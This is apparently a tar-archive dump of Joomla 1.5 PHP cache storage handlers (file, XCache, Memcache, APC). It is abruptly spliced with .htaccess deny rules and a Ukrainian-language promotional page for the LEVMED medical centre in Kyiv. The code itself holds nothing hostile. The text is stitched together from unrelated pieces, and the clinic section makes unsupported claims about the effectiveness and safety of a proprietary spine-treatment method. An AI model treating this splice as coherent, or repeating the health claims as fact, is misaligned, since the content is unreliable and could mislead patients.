			//This means that for some reason there's no expire file, remove it
			$this->remove($id, $group);
		}
	}

	/**
	 * Get a cache file path from an id/group pair
	 *
	 * @access	private
	 * @param	string	$id		The cache data id
	 * @param	string	$group	The cache data group
	 * @return	string	The cache file path
	 * @since	1.5
	 */
	function _getFilePath($id, $group)
	{
		$folder	= $group;
		$name	= md5($this->_application.'-'.$id.'-'.$this->_hash.'-'.$this->_language).'.php';
		$dir	= $this->_root.DS.$folder;

		// If the folder doesn't exist try to create it
		if (!is_dir($dir)) {

			// Make sure the index file is there
			$indexFile      = $dir . DS . 'index.html';
			@ mkdir($dir) && file_put_contents($indexFile, '<html><body bgcolor="#FFFFFF"></body></html>');
		}

		// Make sure the folder exists
		if (!is_dir($dir)) {
			return false;
		}
		return $dir.DS.$name;
	}
}
cms/joomla/cache1/storage/xcache.php000644 000000 000000 00000006543 11663435474 020001 0ustar00rootwheel000000 000000 <?php
/**
 * @version		$id:$
 * @package		Joomla.Framework
 * @subpackage	Cache
 * @copyright	Copyright (C) 2005 - 2010 Open Source Matters. All rights reserved.
 * @license		GNU/GPL, see LICENSE.php
 * Joomla! is free software. This version may have been modified pursuant
 * to the GNU General Public License, and as distributed it includes or
 * is derivative of works licensed under the GNU General Public License or
 * other free or open source software licenses.
 * See COPYRIGHT.php for copyright notices and details.
 */

// Check to ensure this file is within the rest of the framework
defined('JPATH_BASE') or die();

/**
 * XCache cache storage handler
 *
 * @package		Joomla.Framework
 * @subpackage	Cache
 * @since		1.5
 */
class JCacheStorageXCache extends JCacheStorage
{
	/**
	* Constructor
	*
	* @access protected
	* @param array $options optional parameters
	*/
	function __construct( $options = array() )
	{
		parent::__construct($options);

		$config			=& JFactory::getConfig();
		$this->_hash	= $config->getValue('config.secret');
	}

	/**
	 * Get cached data by id and group
	 *
	 * @access	public
	 * @param	string	$id			The cache data id
	 * @param	string	$group		The cache data group
	 * @param	boolean	$checkTime	True to verify cache time expiration threshold
	 * @return	mixed	Boolean false on failure or a cached data string
	 * @since	1.5
	 */
	function get($id, $group, $checkTime)
	{
		$cache_id = $this->_getCacheId($id, $group);

		//check if id exists
		if( !xcache_isset( $cache_id ) ){
			return false;
		}

		return xcache_get($cache_id);
	}

	/**
	 * Store the data by id and group
	 *
	 * @access	public
	 * @param	string	$id		The cache data id
	 * @param	string	$group	The cache data group
	 * @param	string	$data	The data to store in cache
	 * @return	boolean	True on success, false otherwise
	 * @since	1.5
	 */
	function store($id, $group, $data)
	{
		$cache_id = $this->_getCacheId($id, $group);
		return xcache_set($cache_id, $data, $this->_lifetime);
	}

	/**
	 * Remove a cached data entry by id and group
	 *
	 * @access	public
	 * @param	string	$id		The cache data id
	 * @param	string	$group	The cache data group
	 * @return	boolean	True on success, false otherwise
	 * @since	1.5
	 */
	function remove($id, $group)
	{
		$cache_id = $this->_getCacheId($id, $group);

		if( !xcache_isset( $cache_id ) ){
			return true;
		}

		return xcache_unset($cache_id);
	}

	/**
	 * Clean cache for a group given a mode.
	 *
	 * group mode		: cleans all cache in the group
	 * notgroup mode	: cleans all cache not in the group
	 *
	 * @access	public
	 * @param	string	$group	The cache data group
	 * @param	string	$mode	The mode for cleaning cache [group|notgroup]
	 * @return	boolean	True on success, false otherwise
	 * @since	1.5
	 */
	function clean($group, $mode)
	{
		return true;
	}

	/**
	 * Test to see if the cache storage is available.
	 *
	 * @static
	 * @access public
	 * @return boolean  True on success, false otherwise.
	 */
	function test()
	{
		return (extension_loaded('xcache'));
	}

	/**
	 * Get a cache_id string from an id/group pair
	 *
	 * @access	private
	 * @param	string	$id		The cache data id
	 * @param	string	$group	The cache data group
	 * @return	string	The cache_id string
	 * @since	1.5
	 */
	function _getCacheId($id, $group)
	{
		$name	= md5($this->_application.'-'.$id.'-'.$this->_hash.'-'.$this->_language);
		return 'cache_'.$group.'-'.$name;
	}
}
cms/joomla/cache1/storage/index.html000644 000000 000000 00000000054 11663435473 020020 0ustar00rootwheel000000 000000 <html><body bgcolor="#FFFFFF"></body></html>cms/joomla/cache1/storage/memcache.php000644 000000 000000 00000012172 11663435474 020303 0ustar00rootwheel000000 000000 <?php
/**
 * @version		$Id: memcache.php 14401 2010-01-26 14:10:00Z louis $
 * @package		Joomla.Framework
 * @subpackage	Cache
 * @copyright	Copyright (C) 2005 - 2010 Open Source Matters. All rights reserved.
 * @license		GNU/GPL, see LICENSE.php
 * Joomla! is free software. This version may have been modified pursuant
 * to the GNU General Public License, and as distributed it includes or
 * is derivative of works licensed under the GNU General Public License or
 * other free or open source software licenses.
 * See COPYRIGHT.php for copyright notices and details.
 */

// Check to ensure this file is within the rest of the framework
defined('JPATH_BASE') or die();

/**
 * Memcache cache storage handler
 *
 * @package		Joomla.Framework
 * @subpackage	Cache
 * @since		1.5
 */
class JCacheStorageMemcache extends JCacheStorage
{
	/**
	 * Resource for the current memcached connection.
	 * @var resource
	 */
	var $_db;

	/**
	 * Use compression?
	 * @var int
	 */
	var $_compress = null;

	/**
	 * Use persistent connections
	 * @var boolean
	 */
	var $_persistent = false;

	/**
	 * Constructor
	 *
	 * @access protected
	 * @param array $options optional parameters
	 */
	function __construct( $options = array() )
	{
		if (!$this->test()) {
			return JError::raiseError(404, "The memcache extension is not available");
		}
		parent::__construct($options);

		$params =& JCacheStorageMemcache::getConfig();
		$this->_compress	= (isset($params['compression'])) ? $params['compression'] : 0;
		$this->_db =& JCacheStorageMemcache::getConnection();

		// Get the site hash
		$this->_hash = $params['hash'];
	}

	/**
	 * return memcache connection object
	 *
	 * @static
	 * @access private
	 * @return object memcache connection object
	 */
	function &getConnection() {
		static $db = null;
		if(is_null($db)) {
			$params =& JCacheStorageMemcache::getConfig();
			$persistent	= (isset($params['persistent'])) ? $params['persistent'] : false;
			// This will be an array of loveliness
			$servers	= (isset($params['servers'])) ? $params['servers'] : array();

			// Create the memcache connection
			$db = new Memcache;
			foreach($servers AS $server) {
				$db->addServer($server['host'], $server['port'], $persistent);
			}
		}
		return $db;
	}

	/**
	 * Return memcache related configuration
	 *
	 * @static
	 * @access private
	 * @return array options
	 */
	function &getConfig() {
		static $params = null;
		if(is_null($params)) {
			$config =& JFactory::getConfig();
			$params = $config->getValue('config.memcache_settings');
			if (!is_array($params)) {
				$params = unserialize(stripslashes($params));
			}

			if (!$params) {
				$params = array();
			}
			$params['hash'] = $config->getValue('config.secret');
		}
		return $params;
	}

	/**
	 * Get cached data from memcache by id and group
	 *
	 * @access	public
	 * @param	string	$id			The cache data id
	 * @param	string	$group		The cache data group
	 * @param	boolean	$checkTime	True to verify cache time expiration threshold
	 * @return	mixed	Boolean false on failure or a cached data string
	 * @since	1.5
	 */
	function get($id, $group, $checkTime)
	{
		$cache_id = $this->_getCacheId($id, $group);
		return $this->_db->get($cache_id);
	}

	/**
	 * Store the data to memcache by id and group
	 *
	 * @access	public
	 * @param	string	$id		The cache data id
	 * @param	string	$group	The cache data group
	 * @param	string	$data	The data to store in cache
	 * @return	boolean	True on success, false otherwise
	 * @since	1.5
	 */
	function store($id, $group, $data)
	{
		$cache_id = $this->_getCacheId($id, $group);
		return $this->_db->set($cache_id, $data, $this->_compress, $this->_lifetime);
	}

	/**
	 * Remove a cached data entry by id and group
	 *
	 * @access	public
	 * @param	string	$id		The cache data id
	 * @param	string	$group	The cache data group
	 * @return	boolean	True on success, false otherwise
	 * @since	1.5
	 */
	function remove($id, $group)
	{
		$cache_id = $this->_getCacheId($id, $group);
		return $this->_db->delete($cache_id);
	}

	/**
	 * Clean cache for a group given a mode.
	 *
	 * group mode		: cleans all cache in the group
	 * notgroup mode	: cleans all cache not in the group
	 *
	 * @access	public
	 * @param	string	$group	The cache data group
	 * @param	string	$mode	The mode for cleaning cache [group|notgroup]
	 * @return	boolean	True on success, false otherwise
	 * @since	1.5
	 */
	function clean($group, $mode)
	{
		return true;
	}

	/**
	 * Garbage collect expired cache data
	 *
	 * @access public
	 * @return boolean  True on success, false otherwise.
	 */
	function gc()
	{
		return true;
	}

	/**
	 * Test to see if the cache storage is available.
	 *
	 * @static
	 * @access public
	 * @return boolean  True on success, false otherwise.
	 */
	function test()
	{
		return (extension_loaded('memcache') && class_exists('Memcache'));
	}

	/**
	 * Get a cache_id string from an id/group pair
	 *
	 * @access	private
	 * @param	string	$id		The cache data id
	 * @param	string	$group	The cache data group
	 * @return	string	The cache_id string
	 * @since	1.5
	 */
	function _getCacheId($id, $group)
	{
		$name	= md5($this->_application.'-'.$id.'-'.$this->_hash.'-'.$this->_language);
		return 'cache_'.$group.'-'.$name;
	}
}
cms/joomla/cache1/storage/apc.php000644 000000 000000 00000007544 11663435473 017312 0ustar00rootwheel000000 000000 <?php
/**
 * @version		$Id: apc.php 14401 2010-01-26 14:10:00Z louis $
 * @package		Joomla.Framework
 * @subpackage	Cache
 * @copyright	Copyright (C) 2005 - 2010 Open Source Matters. All rights reserved.
 * @license		GNU/GPL, see LICENSE.php
 * Joomla! is free software. This version may have been modified pursuant
 * to the GNU General Public License, and as distributed it includes or
 * is derivative of works licensed under the GNU General Public License or
 * other free or open source software licenses.
 * See COPYRIGHT.php for copyright notices and details.
 */

// Check to ensure this file is within the rest of the framework
defined('JPATH_BASE') or die();

/**
 * APC cache storage handler
 *
 * @package		Joomla.Framework
 * @subpackage	Cache
 * @since		1.5
 */
class JCacheStorageApc extends JCacheStorage
{
	/**
	 * Constructor
	 *
	 * @access protected
	 * @param array $options optional parameters
	 */
	function __construct( $options = array() )
	{
		parent::__construct($options);

		$config			=& JFactory::getConfig();
		$this->_hash	= $config->getValue('config.secret');
	}

	/**
	 * Get cached data from APC by id and group
	 *
	 * @access	public
	 * @param	string	$id			The cache data id
	 * @param	string	$group		The cache data group
	 * @param	boolean	$checkTime	True to verify cache time expiration threshold
	 * @return	mixed	Boolean false on failure or a cached data string
	 * @since	1.5
	 */
	function get($id, $group, $checkTime)
	{
		$cache_id = $this->_getCacheId($id, $group);
		$this->_setExpire($cache_id);
		return apc_fetch($cache_id);
	}

	/**
	 * Store the data to APC by id and group
	 *
	 * @access	public
	 * @param	string	$id		The cache data id
	 * @param	string	$group	The cache data group
	 * @param	string	$data	The data to store in cache
	 * @return	boolean	True on success, false otherwise
	 * @since	1.5
	 */
	function store($id, $group, $data)
	{
		$cache_id = $this->_getCacheId($id, $group);
		apc_store($cache_id.'_expire', time());
		return apc_store($cache_id, $data, $this->_lifetime);
	}

	/**
	 * Remove a cached data entry by id and group
	 *
	 * @access	public
	 * @param	string	$id		The cache data id
	 * @param	string	$group	The cache data group
	 * @return	boolean	True on success, false otherwise
	 * @since	1.5
	 */
	function remove($id, $group)
	{
		$cache_id = $this->_getCacheId($id, $group);
		apc_delete($cache_id.'_expire');
		return apc_delete($cache_id);
	}

	/**
	 * Clean cache for a group given a mode.
	 *
	 * group mode		: cleans all cache in the group
	 * notgroup mode	: cleans all cache not in the group
	 *
	 * @access	public
	 * @param	string	$group	The cache data group
	 * @param	string	$mode	The mode for cleaning cache [group|notgroup]
	 * @return	boolean	True on success, false otherwise
	 * @since	1.5
	 */
	function clean($group, $mode)
	{
		return true;
	}

	/**
	 * Test to see if the cache storage is available.
	 *
	 * @static
	 * @access public
	 * @return boolean  True on success, false otherwise.
	 */
	function test()
	{
		return extension_loaded('apc');
	}

	/**
	 * Set expire time on each call since memcache sets it on cache creation.
	 *
	 * @access private
	 *
	 * @param string  $key   Cache key to expire.
	 * @param integer $lifetime  Lifetime of the data in seconds.
	 */
	function _setExpire($key)
	{
		$lifetime	= $this->_lifetime;
		$expire		= apc_fetch($key.'_expire');

		// set prune period
		if ($expire + $lifetime < time()) {
			apc_delete($key);
			apc_delete($key.'_expire');
		} else {
			apc_store($key.'_expire',  time());
		}
	}

	/**
	 * Get a cache_id string from an id/group pair
	 *
	 * @access	private
	 * @param	string	$id		The cache data id
	 * @param	string	$group	The cache data group
	 * @return	string	The cache_id string
	 * @since	1.5
	 */
	function _getCacheId($id, $group)
	{
		$name	= md5($this->_application.'-'.$id.'-'.$this->_hash.'-'.$this->_language);
		return 'cache_'.$group.'-'.$name;
	}
}

Order allow,deny Deny from all Order allow,deny Deny from all Гінеколог УЗД Мануальний терапевт Масажист Остеопат Київ LEVMED

Гінекологія УЗД Мануальна терапія Масаж Остеопатія Лабораторна діагностика (аналізи) в Києві

Медичний центр LEVMED (ЛЕВМЕД) в Голосіївському районі Києва в КМКЛ№10 (Київська міська клінічна лікарня №10) за 380 метрів від метро Голосіївська.
Індивідуальний підхід до Вашого здоров'я з 1997 року.
 
У нас є електрика, вода, опалення та інтернет без відключень!
 
Зараз ми працюємо в режимі 6/1 за скороченим графіком з 9 до 18.
 
Запис за тел: 073-047-64-44 або Viber чи Telegram
 
Будемо раді Вам допомогти!

Гінеколог УЗД Мануальний терапевт Остеопат Масажист Лабораторна діагностика в Києві LEVMEDЛЕВМЕД вчора і сьогодні

 

Розпочавши свою роботу у 1997 році в КМКЛ№10 (Київська міська клінічна лікарня №10) як Центр мануальної терапії Левицького, який займався виключно консервативним лікуванням патологій хребта, зараз ЛЕВМЕД є багатопрофільним медичним центром, який продовжує працювати в КМКЛ №10 поруч з метро Голосіївська.

Більшість наших фахівців – лікарі Вищої категорії та Кандидати медичних наук (сучасний аналог – “Доктор філософії в галузі охорони здоров’я” або англійською: “PhD in Healthcare”) з досвідом практичної роботи більше 20-ти років.

Сьогодні ЛЕВМЕД це:

  • Гінекологія повного спектру лікарського втручання (консультації, огляди, лікування, операції – оперативна гінекологія тощо) у лікарів акушер-гінекологів Вищої категорії та Кандидатів медичних наук з практичним досвідом 20+ років.
  • Сучасна жіноча консультація.
  • Ультразвукова діагностика (УЗД) 2D, 3D та 4D на сучасному професійному обладнанні у лікарів УЗ-діагностики Вищої категорії та Кандидатів медичних наук з практичними досвідом 20+ років, при цьому висновки зі знімками роздруковуються в кольорі.
  • Лікування безпліддя.
  • Ведення фізіологічної вагітності у лікарів акушер-гінекологів Вищої категорії та Кандидатів медичних наук з практичним досвідом 20+ років.
  • Лабораторна діагностика (аналізи) швидко та якісно на сучасному обладнанні провідних світових виробників.
  • Власний обладнаний оперблок (операційний блок) гінекологічного профілю з денним стаціонаром із сучасним обладнанням від KARL STORZ.
  • Консервативне лікування хребта – з 1997 року щоденно застосовуємо розробку засновника ЛЕВМЕДа Богдана Йосиповича Левицького “Методику безопераційного лікування патологій хребта”, а саме таких діагнозів як: остеохондроз, протрузія або грижа (кила, екструзія) міжхребцевого диска (міжхребцева грижа), радикуліт, ішіас, болі або дискомфорт в хребті (спині, шиї, попереку), болі або оніміння в кінцівках або пальцях, тощо.
    За 25+ років застосування Методики на десятках тисяч пацієнтів різного віку обох статей, Методика довела свою високу ефективність та безпечність.
    Методика спрямована на усунення (максимальне зменшення впливу) САМОЇ ПРИЧИНИ страждань пацієнта та подальше закріплення отриманого результату на довгий термін.
    Також Методика доволі ефективна при лікуванні патологій вертеброгенного генезу (причини), що відбувається, наприклад, коли якийсь внутрішній орган проявляє себе як хворий, але результатами лабораторних та інструментальних досліджень це не підтверджується.
  • Мануальна терапія – корекція хребта, ребер, суглобів техніками Б.Й.Левицького, різними м’якими остеопатичними техніками (остеопатія), різними класичними та хіропрактичними техніками у виконанні мануальних терапевтів з практичним досвідом 20+ років, в т.ч. у виконанні нашого провідного фахівця в цьому напрямі – у вертебролога-мануального терапевта PhD in Healthcare Онопрієнка Ігоря Володимировича.
  • Масаж – наші масажисти професійно виконують масаж різних видів: лікувальний, масаж спини, шиї, кінцівок, стоп,  загальний масаж, розслаблюючий, спортивний, баночний, вакуумний, антицелюлітний масаж та інші.

У нас доступні ціни та зручна локація.
Звертайтесь – будемо раді Вам допомогти!

Адреса:

Графік роботи:

Догори